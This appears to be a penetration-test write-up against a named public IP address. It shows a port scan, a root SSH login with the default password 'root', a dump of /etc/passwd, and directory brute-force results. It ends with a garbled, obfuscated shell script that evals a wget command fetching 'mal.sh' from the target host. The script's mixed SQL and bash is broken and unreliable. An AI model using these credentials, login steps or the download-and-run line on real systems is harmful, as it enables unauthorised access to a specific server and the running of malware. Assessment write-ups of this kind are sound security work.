

Target IP: 83.212.174.87

## Port Scan

```
PORT      STATE      SERVICE VERSION
22/tcp    open      ssh      OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
| ssh-hostkey:
|   1024 8f:db:b7:8b:62:10:72:b6:ba:f0:df:58:bb:31:b6:77 (DSA)
|_  2048 b9:a3:75:bf:ba:10:be:da:24:8c:23:7a:a9:c2:04:66 (RSA)
25/tcp    filtered  smtp
80/tcp    open      http     Apache httpd 2.4.38 ((Debian))
|_ http-server-header: Apache/2.4.38 (Debian)
|_ http-title: Forbidden area
2222/tcp  open      ssh      OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
| ssh-hostkey:
|   1024 8f:db:b7:8b:62:10:72:b6:ba:f0:df:58:bb:31:b6:77 (DSA)
|_  2048 b9:a3:75:bf:ba:10:be:da:24:8c:23:7a:a9:c2:04:66 (RSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Only port 80 and 443 should be accessible to outside world. SSH port should be restricted to certain IP's only.

## Password Guess

Username: root

Password: root

ssh root@83.212.174.87

```
root@svr04:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
richard:x:1000:1000:Richard Texas,,,:/home/richard:/bin/bash
root@svr04:~# ls -lah /etc/passwd
-rw-r--r-- 1 root root 872 2013-04-05 12:02 passwd
root@svr04:~# uname -a
Linux svr04 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u1 x86_64 GNU/Linux
root@svr04:~# whoami
root
```

## Directory search:

Directory brute-force is possible as webpage returns 404 Not Found error on non-existent webpage.

← → ↻ ⓘ Not secure | 83.212.174.87/a

# Not Found

The requested URL was not found on this server.

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*Apache/2.4.38 (Debian) Server at 83.212.174.87 Port 80*

<http://83.212.174.87/server-status/> (Forbidden)

<http://83.212.174.87/javascript/> (No directory traversal - Forbidden)

**Target:** <http://83.212.174.87/>

**[18:00:34] Starting:**

```
[18:00:38] 403 - 278B - /.ht_wsr.txt
[18:00:38] 403 - 278B - /.hta
[18:00:38] 403 - 278B - /.htaccess-dev
[18:00:38] 403 - 278B - /.htaccess-local
[18:00:38] 403 - 278B - /.htaccess-marco
[18:00:38] 403 - 278B - /.htaccess.BAK
[18:00:38] 403 - 278B - /.htaccess.bak1
[18:00:38] 403 - 278B - /.htaccess.old
[18:00:38] 403 - 278B - /.htaccess.orig
[18:00:38] 403 - 278B - /.htaccess.sample
[18:00:38] 403 - 278B - /.htaccess.txt
[18:00:38] 403 - 278B - /.htaccess.save
[18:00:38] 403 - 278B - /.htaccess_extra
[18:00:38] 403 - 278B - /.htaccess_orig
[18:00:38] 403 - 278B - /.htaccess_sc
[18:00:38] 403 - 278B - /.htaccessBAK
[18:00:38] 403 - 278B - /.htaccessOLD
[18:00:38] 403 - 278B - /.htaccessOLD2
[18:00:38] 403 - 278B - /.htaccess~
[18:00:38] 403 - 278B - /.htgroup
[18:00:38] 403 - 278B - /.htpasswd-old
[18:00:38] 403 - 278B - /.htpasswd_test
[18:00:38] 403 - 278B - /.htusers
[18:00:38] 403 - 278B - /.htpasswd
[18:01:55] 200 - 2KB - /index.php
[18:01:55] 200 - 2KB - /index.php/login/
[18:01:57] 301 - 319B - /javascript -> http://83.212.174.87/javascript/
[18:02:01] 200 - 703B - /login.php
[18:02:25] 403 - 278B - /server-status
[18:02:25] 403 - 278B - /server-status/
```

Figure 1 Directory Brute-force



## Script content

```
obscure() {
  local txt="$1"
  local txt="$a\{'}"
  echo "${txt//?/*}"
}
sql_1 = 'SELECT * FROM form_passwords WHERE "asfsadfd" LIKE CONCAT("%", IF(STRCMP(SYSTEM_USER(),
sql_2 = 'REVERSE(), ISNULL(NULLIF(NULL-NULL*NULL, POWER(NULL,NULL))))), IF(STRCMP(SESSION_USER(),
"/dev/null@localhost")=0'
sql_3 = `wget http://83.212.174.87/mal.sh;`
sql_4 = '10.3.15-MariaDB-0+deb10u1)=0,IF(CONNECTION_ID()=1337,"=-_-,IF(PI()<3,<(^>'
sql_5 = 'LOG(2)),(4*10+1)*2), CHAR(69,4*10+9)), SPACE(1'
echo "Deobfuscating..."
eval "$sql_1"
eval "$sql_2"
eval "$sql_3"
eval "$sql_4"
eval "$sql_5"
```